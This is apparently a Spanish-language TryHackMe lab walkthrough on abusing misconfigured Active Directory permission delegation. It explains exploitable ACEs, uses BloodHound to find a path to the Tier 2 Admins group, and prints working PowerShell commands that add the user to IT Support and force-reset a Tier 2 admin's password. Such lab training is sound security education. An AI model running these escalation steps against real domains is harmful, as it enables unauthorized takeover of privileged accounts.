Exploiting Permission Delegation

El directorio activo puede delegar permisos y privilegios a través de una funcionalidad llamada Permission Delegation (no es lo mismo que Kerberos Delegation). La delegación es lo que hace al AD tan poderoso en las organizaciones. Imagina que trabajas para una organización que tiene 50000 empleados. Como nos importa la seguridad, sólo tenemos tres usuarios que tienen acceso a las credenciales DA. Sería imposible para esos tres usuarios ocuparse de todas las peticiones de los usuarios, como resetear sus contraseñas. Usando la delegación, podemos delegar el permiso de forzar el cambio de contraseña al equipo helpdesk, significando que ahora ellos tienen privilegios suficientes para esta función específica. En principio, para mantener la delegación segura, debemos seguir el principio de menor privilegio. Sin embargo, en organizaciones más grandes se dice más fácil de lo que se hace. Vamos a ver cómo explotar malas configuraciones de Delegation.

Permission Delegation

Los exploits de delegación de permisos se suelen conocer como ataques basados en AC. AD permite a los administradores configurar las ACEs (Access Control Entries) que pueblan las DACLs (Discretionary Delegation Control Lists), de ahí el nombre ACL-based attacks. Casi cualquier objeto AD puede ser securizado con ACEs, los cuales describen los permisos permitidos y denegados que otros objetos AD tienen sobre el objeto en cuestión.

Sin embargo, si estas ACEs están mal configuradas, puede que un atacante pueda explotarlas. Vamos a echar un vistazo a nuestro ejemplo de nuevo. Si el equipo de soporte IT tuviera el ACE ForceChangePassword sobre el grupo de Domain Users, se consideraría inseguro. Podrían cambiar las contraseñas de los usuarios que la olvidaron pero también le permitiría a estos cambiar la contraseña de cuentas privilegiadas, como las del grupo Domain Admins, permitiendo así una escalada de privilegios.

Explotar ACEs

Una cantidad de ACEs significativa puede estar mal configurada, y los exploits para cada una variar. La documentación de Bloodhound asiste en la explicación de los ACEs enumerados y cómo pueden ser explotados. Sin embargo, veremos un par importantes ahora:

• ForceChangePassword: Tenemos la habilidad para configurar la contraseña del usuario actual sin conocer su contraseña.
• AddMembers: Tenemos la habilidad de añadir usuarios, grupos u ordenadores al grupo objetivo.
• GenericAll: Tenemos control total sobre el objeto, incluyendo cambiar la contraseña del usuario, registrar un SPN o añadir un objeto AD al grupo objetivo.
• GenericWrite: Podemos actualizar cualquier parámetro no protegido de nuestro objeto objetivo. Podríamos actualizar el parámetro scriptPath, el cual podría hacer que un script se ejecutara la próxima vez que un usuario iniciara sesión.
• WriteOwner: Tenemos la habilidad de actualizar el dueño del objeto objetivo. Podríamos hacernos propietarios, permitiéndonos ganar permisos adicionales sobre el objeto.
• WriteDACL: Tenemos la habilidad de escribir nuevos ACEs en el DACL del objeto objetivo. Podríamos por ejemplo escribir un ACE que nos permita tomar control completo sobre el objeto en cuestión.
• AllExtendedRights: Tenemos la habilidad de realizar cualquier acción asociada con derechos ampliados del AD contra el objeto objetivo. Esto incluye, por ejemplo, la habilidad de forzar a un usuario a cambiar su contraseña.

Para poder explotar estos ACEs, necesitaremos un método de interacción con el AD para hacer estas peticiones. Las dos mejores opciones para esto son los cmdlets de Powershell de AD-RSAT o PowerSploit. Dependiendo de la brecha y las herramientas de detección en el entorno, una puede ser más discreta que la otra.

Bloodhound

La unidad está hecha de hace mucho tiempo. Desde hace un tiempo, se puede desplegar Bloodhound con un sólo comando:

curl -L https://ghst.ly/getbhce | sudo docker compose -f - up

Este comando despliega un contenedor y no tienes que preocuparte por nada. Navegas luego a http://localhost:8080/ui/login y entras con la contraseña inicial dada por el contenedor y el usuario admin.

Escalada de Privilegios

Si buscamos nuestra cuenta de usuario asignada en la tarea 1 podemos ver que no tenemos muchos permisos. Tenemos la habilidad de hacer RDP a THMWRK1, pero esto sólo nos dará privilegios bajos.

Como el dominio está ordenado en jerarquías, nuestro primer paso será comprometer la infraestructura del Tier 2. Necesitamos comprometer el grupo Tier 2 Admins ya que tiene privilegios administrativos en todas las estaciones de trabajo. Vamos a preguntarle a Bloodhound si hay un camino a seguir para comprometer este grupo. Añade tu cuenta de usuario a la posición de inicio y el grupo Tier 2 Admins como posición final.

Bloodhound muestra un camino interesante. Un administrador ha configurado mal la delegación de permisos del grupo IT Support dándole al grupo Domain Users el ACE AddMembers. Esto significa que cualquier miembro del grupo Domain Users puede añadir cuentas al grupo IT Support. Además, Bloodhound muestra que el grupo IT Support tiene el ACE ForceChangePassword para los miembros del grupo Tier 2 Admins. Esto no es realmente una mala configuración en sí misma, ya que los Tier 2 Admins no son tan sensibles, pero combinada con la mala configuración inicial ofrece un camino de ataque muy potente.

AddMember

El primer paso en esta ruta de ataque es añadir nuestra cuenta AD al grupo de IT Support. Usaremos el cmdlet Add-ADGroupMember del set de herramientas AD-RSAT. Comienza PowerShell (ya sea RDP o SSH) en THMJMP1 y ejecuta el siguiente comando:

Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"

Podemos verificar si ha funcionado de la siguiente manera:

PS C:\>Get-ADGroupMember -Identity "IT Support"
	distinguishedName : CN=hugh.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
	name              : hugh.jones
	objectClass       : user
	objectGUID        : 460178d3-c818-4e28-9a39-b1ab2b0d3779
	SamAccountName    : hugh.jones
	SID               : S-1-5-21-3885271727-2693558621-2658995185-1113

ForceChangePassword

Ahora que somos miembros del grupo IT Support, hemos heredado la delegación de permiso ForceChangePassword sobre el grupo Tier 2 Admins. Primero necesitamos identificar los miembros de este grupo para seleccionar un objetivo. Podemos usar el cmdlet Get-ADGroupMember para asistirnos con esto:

PS C:\>Get-ADGroupMember -Identity "Tier 2 Admins"

	distinguishedName : CN=t2_lawrence.lewis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
	name              : t2_lawrence.lewis
	objectClass       : user
	objectGUID        : 4ca61b47-93c8-44d2-987d-eca30c69d828
	SamAccountName    : t2_lawrence.lewis
	SID               : S-1-5-21-3885271727-2693558621-2658995185-1893
	
	[....]
	
	distinguishedName : CN=t2_leon.francis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
	name              : t2_leon.francis
	objectClass       : user
	objectGUID        : 854b6d40-d537-4986-b586-c40950e0d5f9
	SamAccountName    : t2_leon.francis
	SID               : S-1-5-21-3885271727-2693558621-2658995185-3660

Toma nota del username de una de estas cuentas. Como la red es compartida, puede ser mejor seleccionar una más abajo en la lista. Usaremos el cmdlet de AD-RSAT ADAccounPassword para forzar el cambio de contraseña:

$Password = ConvertTo-SecureString "New.Password.For.User" -AsPlainText -Force 
Set-ADAccountPassword -Identity "AD.Account.Username.Of.Target" -Reset -NewPassword $Password